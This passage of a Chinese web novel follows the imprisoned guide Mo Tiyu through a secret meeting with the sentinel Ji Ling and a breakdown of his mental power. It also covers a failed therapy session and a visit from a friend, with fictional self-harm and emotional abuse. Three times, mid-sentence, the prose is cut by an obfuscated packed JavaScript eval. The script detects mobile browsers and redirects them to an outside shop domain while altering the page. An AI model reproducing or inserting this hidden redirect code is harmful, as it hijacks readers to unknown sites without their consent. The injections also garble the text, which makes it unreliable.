那时别松有一个计划,就是去苍雪岸也办一个研究所,用以吸纳军事人才,核心人员自然是他的两位爱徒。气候越来越恶劣,哨兵和向导的生存环境也是,他们还想研究攻击型向导和自限型哨兵的出路,研究更多让世间更安稳的方法。 二十岁的霁泠抬起眼,看见莫提雨写的临别留言是:穿过风暴找你玩。 他们都以为彼此会很快再见面。 霁泠蹲下来,眼底沉光,表情冷肃,开口已经免去了所有寒暄和试探:“我有必须问你的事。” “你的时间很紧。”莫提雨灰色的眼眸已经看见一切,他说:“只要能帮到你。” 无声的、对峙的氛围在二人之间蔓延,双方仍然充满警惕和戒备,但双方都在核心原则之外确定了:此刻可以交谈。 他只用看霁泠一眼,甚至不用见面这一眼,依然视霁泠如同从前。 是敌人,也是同样对变异者作战的战友。他们势力不同,但有些话可以坐下来说。 这是五年来交手时所共情的事实。 霁泠说:“我在找一组老师十年前的实验数据,你知道老师放在哪里了吗?老师在的地方我进不去,事关很多人的命。” 莫提雨点了头,霁泠低头摘下美瞳,露出一只极蓝的眼,他伸出手,握住莫提雨一只手,将自己拿到的信息传递给他。 莫提雨的指尖被他握住。 时隔已久的信息交换。 霁泠的手是微凉的,和以前一样。每个哨兵的作战习惯不同,有的哨兵将全部信息全部递给向导,有的哨兵会筛选。 而霁泠会隐藏。隐藏信息,隐藏气息,隐藏情绪,这是他的习惯。 他的信息从来都是凛冽坚固的,带着威慑的,他允许向导探测自己给出的信息,但不是所有向导都能走出来——他留下的信息也可能是狡黠的野兽设下的陷阱。 莫提雨不在意,他从信息中解读一切。 霁泠路过的海洋、城市的小报、媒体的消息、无人机的刻痕,信息和记忆千丝万缕织成海洋,他闪电一般追踪到了霁泠的眼睛望向的地方,追踪到他的目标。 “北上五十公里夏城,老师曾经在那里教书,他留了一些资料在那里。去那里或许有收获。” 莫提雨动用精神力,浅灰的眸子与他共情,甚至染上几分蓝影,这一刻那个在风暴中作战的指挥官似乎回来了:“你的气息暴露太久。你要小心。” “即便到了这个时候,你……” 后面的话消弭在霁泠唇间。 依然具备那种无人能及的天赋,他的舰队成员恨得牙痒痒的致命追踪,他能赢过一切,除了莫提雨。不论是以前的莫提雨,还是现在的莫提雨。 这样的莫提雨,现在已经落到这样的地步。 霁泠看着他手臂上的伤痕,无声的愤怒已经染透他湛蓝的眼睛,但被他死死地压制住,没有暴露半分。 他死死咬着牙关站起,重新戴上美瞳,将手上的手套塞过来,放在莫提雨手里,湛蓝的眸子冷定从容:“我很快会回来找你。” “你要活着。我们的胜负还没有定论。” 霁泠深深地看了莫提雨一眼,扔下这句话,迅速地消失在了他的视线中,只有留下的东西提示着他来过的痕迹。 哨兵的战术手套,用来隔绝外界触觉以防止信息过载。 8. 画 霁泠已经从视野中消失,莫提雨灰色的眼睛映着眼前的空白:“你怎么办?” 这种手套关键时刻几乎能救一个哨兵的命,感官超载是能死人的,尤其是对于霁泠这种精神力状态的哨兵来说。 霁泠的声音从远处传来,和从前一样冷硬:“我还有一双。”其实并没有。 刹那间,他的影子就不见了,动作没有惊动任何一个守卫。 随着他的离开,刚刚停止的大雪又开始下了,似乎霁泠的到来能够停止雪一般。 这次会面极其危险,但霁泠显然已经做了万全的准备。 根据霁泠传达的信息,他是需要别松此前和苍雪案合作过的一组精神力数据,内容是极端环境下诱发精神力暴动的条件,所有实验数据都来自长期罹患精神疾病的向导或哨兵。 这种数据不要说霁泠,连莫提雨的权限都无法查明,塔对信息的监测汇集了所有哨兵和向导的情报,只要有人主动地查询一次,塔将分析出危险的结果。 而别松本人已经在他的两个学生都已经无法踏入的禁地。他是普通人,曾经荣耀一时,但他的权势地位也随着风暴的来临迅速跌落了:战时,哨兵和向导的重要性无限提升,别松已被排挤在外,而且已遭通缉。 他遭到通缉的原因已经不可考,但莫提雨掌控到的信息表示,别松试图推动泛用性向导素的研究和立法,来保障那些因为缺乏精神疏导而长期罹患病痛的哨兵,也能让在外执勤的哨兵在和向导失散、和塔失散的时候,还能活下来。 这个立法提议在那时遭到了激烈的反对,因为这种药物会降低哨兵对向导的依赖性,因此削弱向导群体的地位。 对于向导们将要失去的这种地位和资源来说,每年死一些哨兵只是一些“必要的牺牲”。 但普遍认为,别松离开绯岸是因为风暴来临导致的权力重组。 世间每一件事都环环相扣,早在那时,莫提雨遇到的一切指控已有蛛丝马迹,只可惜那时候没有人能看出来。 别松现在已经逃亡,生死未卜,没人知道他在塔的监视下还能去哪里。为了不给自己在前线的学生添麻烦,别松甚至预判了自己的处境,早三年主动与莫提雨断了联系。 莫提雨将土松好,把树苗放进去。这些树苗一开始都有些不情不愿,但被他轻轻地放进去后,又很快觉得舒展了起来,用看不见的频率表达着喜悦。 “谢谢谢谢谢。” “舒服舒服舒服,来点水来点水,谢谢谢谢。” 莫提雨给它们浇了点水,随后站起来,冻僵的身体几乎已经麻木。 系统21说:“你想起你的老师了。” “你不用去想他了,你不会和他走上相同的道路的。他可没有道歉悔过的机会,但你还有,你是幸运的人。” “霁泠很危险,非常危险,他和从前大不一样了,他现在是一个政治势力的王,有各种各样你想不到的手段。你必须停止和他接触,尤其是不能让白慕予知道。” “今天你进行了公共服务,虽然大家嘴上不原谅你,但起码大家看到了你的态度,你的追妻进度已经上升到了60%,想必白慕予在家里,看见你的表现,也是很欣慰的。” 和以前一样,莫提雨并不理会系统21,好像它的存在只是空气。 白慕予的确对莫提雨的学院岁月更加好奇和关注,每次莫提雨回家,一定缠着他,要他讲讲学校里发生的事。 莫提雨会提一提课程内容,最新的军事理论种种,但他从不提霁泠或者老师。 “我有一个哨兵同学,他看起来身体很弱,但他居然是学院里最强的哨兵,没有任何人能胜过他。” 这种话是不可以的,因为白慕予会听得很羡慕,最后一个人躲起来伤心,说:“我不是哨兵,我要是哨兵就好了,这样就能和你一起上学了。” “我的老师是普通人,但他非常厉害,他几乎了解所有的精神力知识,他说,有时候精神力暴动的哨兵,或者精神力碎裂的向导,如果好好引导,也能发挥出更重要的作用,因为他们跨过了生死,有超乎常人的坚韧与经验。” “好羡慕你……”白慕予托腮静静地看着他,神色中有些哀伤,“如果日后你去军部了,会不会需要一个哨兵,不再需要我了?你一定会喜欢上一个哨兵的吧。” 他说:“不会。” 但白慕予仍然郁郁寡欢。白慕予说不相信他会遵守婚约,因为去了学校后的莫提雨一天一天在改变,他的眼睛更亮,更温柔,他身上渐渐出现自由的风和雪的气息。 渐渐的,白慕予开始说他的向导素闻起来很恶心,莫父莫母也只觉得是小事,让莫提雨哄哄。 自由的气息很恶心、明亮温柔的眼神很恶心,因为莫提雨好像没有以前孤独和痛苦了……用白慕予的话来说。 “你好像不能共情我的痛苦了。”白慕予说,“我很痛苦,你不觉得有点恶心吗?你喜欢的那个老师,真的是对的吗?他居然把你变成了这个样子。” “你和以前不一样了,以前你总能知道我不开心,但现在好像不行了。” 怎么哄,怎么证明,白慕予都郁郁寡欢,双眼含泪。 “他变了”的痕迹有很多,比如染上了喝咖啡的恶习,比如画了很多画送给同学们,而其中竟然没有送给他的,每一件事都令人失望。 即便莫提雨解释,即兴而作,并无他意,也不能算数。 莫提雨渐渐不那么喜欢回家。 节假日和固定的休息日,莫父和莫母都会去接白慕予,他便说学校有训练,一个人留在宿舍。这样既不用被媒体报道,也不用和任何人说话——在他步入少年后,磕他和白慕予青梅竹马的人越来越多,严重的粉丝甚至翻过他在学校的生活垃圾。 所有人都在充满幸福地描述“白慕予被莫提雨呵护得好好”、“好甜,好爱看小少爷宠妻”、“再冷漠的少年在慕予面前也会变成听话的狗勾”、“怎么今天不高兴啊被老婆训了吗”……先以他为蓝本做最美好的梦境,又在梦境破碎时成为最愤怒的复仇者。 莫提雨有时候会失去作画的能力,那种笔尖肆意流淌的快意都变成压得人喘不过气的、白慕予敏感又忧伤的眼睛。 但大部分时间是正常的,在和老师同学谈论未来时一切正常,不好的时间只有在家的时候。 系统21说:“别想了。爱就是这样的,你都得到了所有人的关注和爱,你还想要什么?不如说,你现在这样要死要活,就是想获得更多关注吧?” “爱就是这样。” 莫提雨唇角勾了勾,只重复了一遍系统的话,听不出什么意思,浅灰的眼眸映着树苗们的影子。 十五岁的莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179524|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提雨考虑过退学来让白慕予放心,二十五岁的莫提雨仍有许多选择。 一整天的植树劳动很快结束。 莫提雨种起来的地方非常规整漂亮,每一棵树苗都浇透了,每一棵有伤的根都被剪平以待治愈恢复。这种干净利索也透着他在军中的风格。 其他人都已经冻得受不了了,天黑后才陆续从车里下来,把莫提雨接回监狱中。 今天极其寒冷,大雪把每个人都冻透了。 莫提雨在炉火边烤了很久,苍白的脸上也没有恢复血色,但他又要了新东西。 画笔和画纸。 监狱很快派人送了过来——这东西在监狱的仓库里发霉很久了,因为关过不少陷入经济纠纷的名流艺术家。 画纸不大,莫提雨用清水仔细裱了纸,笔尖悬着,等了很久。 精神图景里的画面四分五裂。 这是所有创伤带来的后遗症,战场上的,训练中的……所有创伤失去了缰绳,在他的精神图景中乱撞,所有人、事、话语和感受一起闪回,什么都无从捕捉。 他的笔悬了很久,最终还是放了下来。莫提雨思考的时间比拿笔的时间更长,没有多久就显露出了耗竭的状态,无数细小的伤口迅速在他身上涌现,又被迅速压下,如此反复后,莫提雨靠在躺椅上陷入了梦境。 火焰缓慢燃烧着,炉子里的火发出轻微的噼啪响声,但很快有混乱的精神力在逸散。 画纸旁边放着霁泠的手套,漆黑的,细密的麂皮绒。 有一些细微的、闪烁的粉末从莫提雨的伤口蔓延、凝聚,黑色的,沾着血腥味,它们如同有意识地形体一般在空中旋转,最后细碎地落在纸面上,形成了一个不太清晰的图像。 精神力对现实的再次波及。 黑色的粉末如同蝴蝶鳞粉,形成的图案粗粝又模糊,入眼所见都是锯齿状的撕裂色片。 画出了十五岁的他,别松和霁泠。 别松因为这一队学生实现了他的课题预想而高兴万分,这个普通的中年人一手揽一个,要请他们吃好吃的。 霁泠虽是王储,但这么小被送来这么远的地方,明显在家待遇不怎么样,每次都在食堂吃空三大盘饭。 莫提雨虽然出身名门,但每一种爱吃的食物都必须先考虑白慕予的口味,所以两人还真是没吃过什么好的,学校午餐里发的草莓牛奶,莫提雨都会仔细品尝。 为了兼顾这对学生,别松就带他们吃了自助餐——非常不精致,也不优雅的选项,但他和霁泠都非常开心。 两个十五岁的少年仔细讨论比对了各自爱吃的蔬菜类型,认认真真地讨论了三个人对不同食物的感受,别松坐在旁边看着他们,满眼都是不出声的骄傲。 画上霁泠一丝不苟,校服西装外套的扣子都整整齐齐,莫提雨则只穿着衬衣,领带都飞在一边,别松笑得眼睛都找不到了。 系统21的声音仍在梦中浮现:“莫提雨,为什么挑中这段回忆?” 它在莫提雨耳边低语:“这就是你全部幸福的瞬间了吗?” 守在莫提雨门口的士兵本来在打瞌睡,直到嗅到冰凉的血腥味,细微的几乎没有重量的黑色粉末逸散到眼前。 士兵一个激灵,止不住地寒颤,他赶紧叫醒了身边的同伴:“快,快,不好了,莫提雨精神力失控了,快去叫人!” 9. 幸福 精神力失控的结果有很多,没有人想看见莫提雨失控——尤其是现在。 他身上的创伤,他那双让人眩晕的浅灰色眼睛,已经是精神力对现实的蔓延,现在这种蔓延已经越过了他自己的身体,开始对现实世界施加物理影响,虽然现在看起来只是一些黑色的、鳞粉般的粉末,很快就在空气中消失了,但没人知道它可能产生的效果。 “他发烧了。” “该死!”监狱长骂街的声音,但听起来忽近忽远,“我就不该答应安排他外出,向导精神力失控的结果会是什么?” “黑暗向导,蛊惑所有人,精神共鸣引发链式反应。” 有医生快速作答了,有人用力地打开门,满头大汗递来化验结果,“目前是安全的!是一些精神力凝固后破裂的粉末,但的确来源于莫提雨本人。” “高烧,得想办法给他降温,不知道他什么时候能恢复意识……” 过了不知多久,莫提雨睁开眼。 他的精神力波动水平已经稳定,但发烧的感觉没有褪去。 身上的每一寸都忽冷忽热,冷的时候视野格外清晰,热的时候仿佛血液要从头顶爆炸。 他轻轻地说:“是。” 急救室里此刻空空荡荡,并无人影。这句话是回复系统21的。 ——那就是你全部幸福的瞬间了吗? 系统21说:“这也是你错误的根源。家人的陪伴和支持,公众的喜欢和关注,你居然都没有感到过幸福?你天生天赋顶级,家世是有些人穷尽一生都不敢想的尊贵,你居然都没有觉得幸福?吃个自助餐就把你幸福成那样,你究竟有什么毛病?” 不幸福。 毕业之后即是风暴。 绯岸和苍雪岸是最晚被风暴影响的,但也只比西边的海上晚一年左右。 精神粒子让许多人变异了,他们掀起动乱,狂热地杀人、掠夺,誓要扫清一切:愚昧的政府,异端的人,哨兵的征伐本性被无限地激发,他们掠夺向导,掠夺一切,向导陷入无止境的共情狂欢,绞杀哨兵,凌虐一切非我族类……普通人遭到波及,正常的秩序一寸一寸退灭。 老师、同学全部不在身边,他面对的是绯岸千疮百孔的防御系统,贵族门阀体系和沉浸在过去幸福中的民众。 他看见每一个被绞杀的人。每一个像他或者不像他的人——那有什么所谓?最强的向导共情一切,他们即是他,前线的每一滴血里都有他的血。 不幸福。 他能带去的治愈和疏导即是他在学院中学到的希望:他看见了。所有人挣扎和痛哭的灵魂。 年轻的哨兵在他眼前死去的时候,议会正在投票取消更多的哨兵福利待遇,连莫提雨的编队也必须保证哨兵、向导人数均衡,所有人在斗争中被架起来审判。 他只能说:“我帮你把他带回来。” 他不能代替谁去死,不能止息本来就有的疮痍,不能从绝路中走出一条路。 不用下十八层地狱,世间即是地狱。 不幸福。 世界上最强的向导也有无能为力之事。连自己都深陷其中,不得出入。 不幸福、不幸福、不幸福。 伤口中逸散的黑色结晶越来越多,随后像雪一样消失在空气里。 莫提雨剧烈地咳嗽了起来,在清醒状态下,他颈上又添一道鲜明的新伤,往下深深划过锁骨。 那些人给他安了一个精神力监测装置,刺耳的警报很快响了起来,医护人员早已有所准备,立即到场给他注射了镇静剂。 莫提雨颈上的伤痕触目惊心——深度已经超过了浅表,极度危险了。 医生为莫提雨进行了缝合,莫提雨的脖子上也包上了绷带。 “他随时会死。而且这种级别的精神力……我只见过恶化的,没见过变好的。” 医生转头问门口的士兵,“他的家人呢?我们需要转接心理门诊,他可能需要一些心理疏导,而且是重大心理危机干预。” …… “心理咨询?” 这是一个突兀的名词,它出现在监狱中就像什么奇怪的冷笑话。 莫提雨坐在病床上,歪着头想了想。 失血让他的肌肤更加苍白,浅灰色的眼睛看起来十分平静。 醒来后,他的精神恢复了许多,至少他本人是这么认为的。 他不再发烧,医生进来的时候,他已经能够控制那些流逝的精神粒子,而且用它们组合成任意形状。但此举更严重地惊吓到了医护人员,他的危机情况被层层上报,很快惊动了高层。 所有人一致认为,必须要通知莫提雨的家人了,家属应当做出决定,来抉择是否要立刻给莫提雨请一个心理医生,这样说不定能够控制他不断恶化的状态。 “心理医生?” 莫母的声音听起来十分诧异,随后又好像有些尴尬似的,“是在说我们家提雨?” 军部的人员说明道:“是的,莫先生现在情况很危险,我们尝试了各种办法,觉得他还可以尝试一下心理咨询。” “我上次见他他还好好的呢,还有力气气我。” 莫母脸上的疑惑和不解更多了,好像这不是一个事实,而是一个阴谋诡计一样,她很快舒展笑颜,轻描淡写道:“哦,我明白了,这是考虑到舆论后的一种公关对吧?那孩子从小要强,精神力水平也是一等一的好。军部需要的话,就给他派一个吧。” “白先生的意见呢?”另一个人询问道,“他们是伴侣,白先生可以提供一些过去的共情经验吗?” 莫母看了看白慕予紧闭的房门,略带不耐烦地说道:“慕予身体一直不好,没有余力给提雨共情链接。别总是提这件事,难道想说是我们导致的吗?我看他一向是冷静的很……” “这些是我们可以提供的心理咨询师,你可以选择。” 病房中,一张名单放在了莫提雨眼前。 熟悉的选择过程。 莫提雨现在浑身上下都是伤,绷带在身上缠了一圈又一圈,衬衣只简单地披着。 他消瘦得似乎会从那件洁白的衬衣里消失,那双浅色的,似乎会透光的眼睛更给人这种感觉。 “都在这里了。” 他垂下眼,视线扫过上面的照片。 都是贵族中收费不低的心理咨询师,有的他也有所耳闻。 向导需要心理咨询这件事听来很荒谬,不过以莫提雨的经验,许多向导都存在共情盲点,并且也有共情边界的问题,这些问题的确可以通过心理咨询完成。 排名最前的咨询师收费最高,而且看起来十分权威,已有二十年工作经验。 “帮助过超过千名向导逃离心理困境。账号已有百万粉丝关注,详情请咨询……” 莫提雨轻轻地念道,他的指尖触碰着这个泛黄的纸页——介绍册明显是从某个宣传室拿来的。 这一瞬间,他浅灰色眼底微微发亮,那种令人眩晕的感觉又来了,甚至让人觉得隐隐有风。 纸页上传来各种陈年的情绪。 痛苦居多,希冀更多。无数人曾颤抖着触摸这张纸,渴求有人能听见自己的心声。 不幸福。 离审判还有一段时间,莫提雨触碰过宣传纸张后,默许了军部为他选派的心理咨询师。 他这双浅灰色的眼睛的确会让人感到某种压抑。 病房门打开,心理咨询师款款走入。来人的步伐意气风发,是一名身材略微臃肿的中年妇女,神态自然又大方。 “今天是我走进这个房间,这不符合我的规则,但为你破例。”咨询师微笑着说。 莫提雨也露出微笑,但笑意十分的浅。 他并不说话,只是注视着对方。 气氛尴尬了几秒,咨询师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179525|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑眯眯地说:“介绍一下你自己。” 莫提雨说:“床头有我的病历资料。” “我知道。”咨询师整理着手上的资料,过一会儿才抬起头,继续微笑着说,“我还是想听你自己说,可以吗?” “我是。”莫提雨停顿了一下,“向导。广域共情的那种。” “啊,我知道,不过广域共情型向导不太多见吧?”咨询师发出了自然的疑问,仍旧笑眯眯的,“不是所有向导都有那么强的共情能力的,尤其是广域的,这太稀少了。我要说的是,我不认识你,但我们尽量不去定义自己,好吗?” 莫提雨唇边的笑意加深了。 他选择了缄默,咨询师于是点头示意她的接纳,并伸手翻阅他的病历资料。 “梦中受创……为什么会梦中受创呢?我想这是个值得探讨的问题。”咨询师笑眯眯地提示,“可以告诉我吗?” 莫提雨灰色的眼睛里好像下着一场雪,精神力在瞳孔中缓缓游离。 他说:“在梦里,我看见有一个人被推上绞刑架,要被施以火刑。” “他求我救救他。” “嗯……”又一段沉默后,咨询师忽然开口,她跳过了这个梦境,开始说:“你说你是广域共情型向导,有什么证据可以支撑你的结论呢?我想你执着于这个定义,我们可以从这个点进行关注和讨论。是因为死去了太多战友吗?你全部共情到他们的悲伤?” 她的话题跳得很突兀,但因为姿态的亲近和自然,一般人并不会察觉。 莫提雨仍旧微笑着,沉默。 不幸福。 他缓缓地说:“……不。一般没有悲伤。” 咨询师很快接话说:“就是这样,我们不要一直看着悲伤,让我们想象一下,把悲伤装进盒子里……它并不会消失,只是被装进去了,在你旁边陪着你,好不好?” 莫提雨停顿了一下,唇角勾得更深了:“你能听懂我的感受吗?” 咨询师怔忡一下,随后深深地叹了口气,悲切而关怀地看着他:“我能。我也失去过亲近的人……而且是至亲。” “我也曾经历过灰暗的时刻,包括几乎是亲眼目睹我父亲在我眼前自杀……但我想告诉你的是,仍然有办法从那种灰暗中振作,那就是把自己当成需要照顾的宝宝……我要给宝宝做饭,我做了一顿饭,我看着日子一天一天度过,然后生活就真的好了起来。” 咨询师双眼含泪。 “我还能拥有感受幸福的能力,至今我都觉得那是来自自我的恩赐……对了,你喜欢旅游吗?如果你去过最高的山,在辽阔的大地上吹吹风,那种感觉……心会开阔,你一下子明白什么是爱,那种浓浓的激动澎湃在你心中……那一天,我就这样站在辽阔的草原上。” 咨询师越说情绪越丰沛,站起来,如同演讲的姿势一般,展现着对旅游的感悟,那种自信和沉醉感来自她的躯体语言,任何人都能看出,这的确是一趟充满惊喜的疗愈之旅。 除了莫提雨。 莫提雨轻声问道:“您也这样给以前的来访者做治疗吗?” 咨询师从分享中被突然打断,不太适应地问道:“什么?” “也就是说,你默认了那些共情过度,连口气都喘不了的孩子,那些精神力被打碎的年轻人,做好了足够的准备,花掉两年的工资,听你的创伤……而且是父亲自杀级别的创伤。” 莫提雨眼底的光清凌凌的,笑意仍然温和,但在咨询师看来,已经变成了凉薄讽刺。 莫提雨说:“我想我们的咨询可以到此为止了。” ——不幸福。 “我的战友们一般不悲伤。” 他们也已经走过了雪原、草地和大海。 “更多的是遗憾。”深深的遗憾,为一切无法挽回的东西的消逝,为他们自己的消逝。 他们不幸福。他不幸福。 10. 精神力检测器 “不,不,我觉得是有一些话我们没有说清楚,我想我们的沟通还可以加深,因为很多事情需要时间,我们再约定一次诊疗时间好吗?我给你加时到五十分钟。” 咨询师的沉醉迅速凝固,泪痕还停留在脸上。她的表情迅速转变为一种尴尬、受挫和被冒犯的感觉。但这种感觉也很快地消失了,她很快恢复了笑容,恢复了她赖以为生的、镇定自若的职业性怜悯。 “莫先生,我理解你现在有很强的防御心理,这是创伤后的正常反应。你发现了吗?正是这种抗拒的反应,说明你需要我的帮助。” 咨询师的微笑重新变得自信而大方:“这么多年我帮助过很多创伤后的向导……大家的反应在一开始,都和你一样,但最后都在我的帮助下恢复了正常的生活。” “莫先生,你是我见过共情能力最强,却也最缺乏基本情感反馈的向导。你的问题根源或许不在于创伤,而在于一种……根深蒂固的、对幸福和连接的抗拒。” 咨询师拎起她的背包,款款离开前,笑容仍然包容和温和,“祝你好运。” 一个房间之隔。 咨询师对军部人员耐心阐述着,她的眉毛深深皱起,仿佛也在尽心尽力地为这个病人感到忧虑:“他的态度非常抗拒,这足以证明他已经病入膏肓。” “这类病人拒绝接受帮助,连我这样的经验和沟通都无可奈何。”她轻轻叹气,“我想我知道你们为什么要我来了,他的确是……无药可救。” …… 窗外又开始下雪。 莫提雨在玩他的精神粒子,他低垂着眼睛,浅色的灰眼睛静静地凝视这些很快就消散的粒子,指尖张了张,捏出一只小黑猫的形状。 这种时候他往往看起来十分正常,甚至可以说是闲适,床头的仪器滴滴运行着,发出蓝光。 莫提雨披着衬衣,微微仰头靠在床头,过一会儿才能完成一个动作——抬起缠满绷带的手,按一下呼叫按钮。 那边很快接通了,是顾浪的声音:“喂,提雨。” 莫提雨愣了愣。 他没有出声,于是顾浪不得不问道:“提雨,你想要什么?我给你送来。今天我路过,不放心你,过来看看你。” 莫提雨说:“我找我的看守订了报纸,我需要看一下。” 听见他这句话,顾浪明显松了一大口气:“要这个啊,这有什么,我马上买了叫你送来。对了,你现在醒着是吧,我有话跟你说。” 不等莫提雨回答,顾浪就挂断了通讯。 过了一会儿,他推门走了进来,刚进来眉头就皱了起来。 莫提雨仍靠着床头,还在玩他的精神粒子。 他身上几乎已经找不出一处不缠绷带的地方,衬衣也只是很随意地披在肩头,露在外边的指节消瘦苍白得吓人。 比起之前见到他的那一面,发生了很大的变化。 顾浪已经听说了心理医生来过,他憋了憋,仍是没有憋住,只是皱着眉头说:“你说你是何必呢。” 莫提雨眉头轻轻挑起,淡色的眼睛瞥了他一眼。 顾浪磨了磨牙。 他语重心长地说:“如果早一点收收心,对慕予好,你也不必弄成这样……你看看你现在,大家都不开心。早知如此,何必当初呢?” “我们都不敢让慕予知道你的情况,他听了又会伤心。” “不过你的精神力怎么变成了这样?我听人说状况挺不好的……” “你说那个啊。”莫提雨低着头继续摆弄他的小黑猫,想了想,口吻淡淡的,“倒是没事。” “那就好。” 顾浪看着莫提雨,和以前一样放心,但是这一次却总有一种毛毛的感觉袭上心头。 那种感觉就是莫提雨的眼睛里完全不再看他,也完全不再看任何人……但仔细看那双淡色的眼睛,又只会觉得自己多疑,毕竟莫提雨从来都是这种性子,懒散,冷淡,沉默。 顾浪早习惯了剃头挑子一头热的友谊,也习惯了莫提雨的位置在他之上。 在学校里,莫提雨永远压他一头,论家世,顾浪更没有那样的后盾,可是命运让他们从小相识,又一路相伴。 每一次莫提雨把白慕予抛弃在家里,白慕予一个人的时候,顾浪知道那是什么样的神情——那种细密不化的忧郁感和故事感,好像有无穷的话藏着没有说。 在他因为永远赶不上莫提雨而悄悄沮丧的时候,是白慕予主动鼓励他,并且真诚赞美了他身上的闪光点。 顾浪想不出任何理由,莫提雨不喜欢白慕予,因为所有人都喜欢白慕予。莫提雨看不见白慕予的灵魂,他可以看见。 那么多人都可以看见白慕予,偏偏莫提雨看不见。 白慕予配得上世间最珍贵、独特的一切,只有莫提雨不愿意给。 这就是故事的原貌。 但那种毛骨悚然的,直觉一般的感觉迟迟不散。有一瞬间,顾浪好像看着莫提雨的眼眸,几乎开始觉得……莫提雨好像没错。 但如果莫提雨没错,他为什么不说?他为什么不主动反抗?他为什么不可以和自己的兄弟推心置腹? 那不过是小孩子闹脾气,不是吗?故意弄出伤口,好博得所有人的关注?不然莫提雨想要什么,他根本不知道。 这些念头几乎没有成形,极快地消散在潜意识的深海中,最后化作冷冷的劝诫。 顾浪几乎是咬着牙在说:“你知不知道,你要是出了什么事,白慕予会多伤心?他多爱你啊。你要爱惜自己的身体,不能继续这么放任自流了——心理医生说是你主动抗拒治疗,对么?” 缄默。 只有淡色的眼底,淡淡的笑意。 莫提雨说:“开学的第一课。” 顾浪愕然:“什么?” “我们接受训练前的第一课,老师问我们一个问题。”莫提雨注视着他,语气很轻,他对这位朋友仍保持着基本的尊重和理解,“你还记得吗?” 顾浪当然记得。 那是他进入绯岸军事基地的第一课,所有入选者一起听讲,别松站在演讲台上,温柔地面向每一个学生。 “向导和哨兵最重要的东西,就是你们的精神图景,换言之,就是你们的灵魂。” “接下来你们会遇到很多困难的战斗和训练,日后也会有各种各样的磨炼,但不论身在何方,只要你的精神图景中还有一个锚点,那么你就知道你可以在何处停泊。” “找到了它,即使是最不稳定的哨兵也能独自渡过没有向导的恶劣环境;最混乱的向导也能跨过一切黑暗。” “那个锚点的意义就是,你知道你这辈子的使命在于它,即便死亡,灵魂也要去向的地方。”别松笑眯眯地说,“听起来会很遥远,但我相信你们中有人已经找到了。没有找到的大家,也不必着急……每个人都有,即便是普通人,一样也能找到。” …… 顾浪说:“我知道别老师对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179526|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你很好。但他的话不能全信,他自己就是个狂热的危险份子,总是想在现有的系统上掀起新的规则,他很危险,提雨,你完全被他带走了。” 他紧皱的眉头表示了对这个话题的强烈不适。 他也是向导,他从没见过什么精神锚点,他仍然活得好好的。 “我没有找到。”莫提雨慢慢地说,淡色的眼睛看着他,“你找到了吗?死了之后灵魂也要去的地方。” “……”长长的沉默。 顾浪说:“你太悲观了。这个世界是美好的,你那么拼命带领队伍,难道不是做好了牺牲的准备吗?你再为他们走不出来,不是没有任何意义吗?” “不。”莫提雨轻轻歪头,还是微笑,“我可以死在任何地方。但我还是想知道,当我只剩下一个幽灵……那个时候,我可以去哪里?” 没有。他们都不知道答案。 顾浪根本不能理解这种问题的意义。莫提雨从小就喜欢这些虚幻的、毫无意义的问题,光是思考这些问题就能让顾浪脑袋爆炸。即便莫提雨真的每天都面对最凶残的敌人,考虑死亡是每一个士兵都会做的事。 莫提雨很快说:“把报纸给我吧。” 顾浪把报纸放在床头,感觉自己的心脏和脑子都要炸开,因为愤怒和不可理喻,还有那种毛骨悚然的……好像会永远失去什么的直觉。 莫提雨明显没有要他理解的意思,于是他只能一言不发地转身离开。 刚离开顾浪就有点后悔了,但是已经没办法回头——他是一直都嫉妒莫提雨,嫉妒得发疯,但莫提雨到底是他的兄弟,他还是希望他可以配合地、可预料地,和以前一样应对自如。莫提雨的失控让他有一点不知所措。 好像有什么不对劲的地方,但是怎么也无法理清。 顾浪于是留下一张手写的留言:“其实这些事真的没什么,都没有意义,只要你想,你抬抬手大家就都能好过。兄弟,早点看开悔过吧,你就是太累了,容易多想。做人要现实一点。” * 莫提雨看见这条留言,并无什么波动,他只是轻轻放去了一边。 随后继续看报纸。 这几天报纸风平浪静——具体来说,是除了仍在讨伐他以外,一切都风平浪静。 霁泠似乎没有引起更大的骚乱,但目前也并不知道,他是否已经拿到了需要的信息。 看了一会儿报纸,莫提雨又走神,开始玩他的精神力粒子。 这些漆黑的粉末组成了一只毛茸茸的小黑猫,片刻后就消散在了空气里。小黑猫消散后,莫提雨又尝试捏一个新的,但是怎么也捏不好,他的控制能力也随着精神波动迅速甩衰弱。 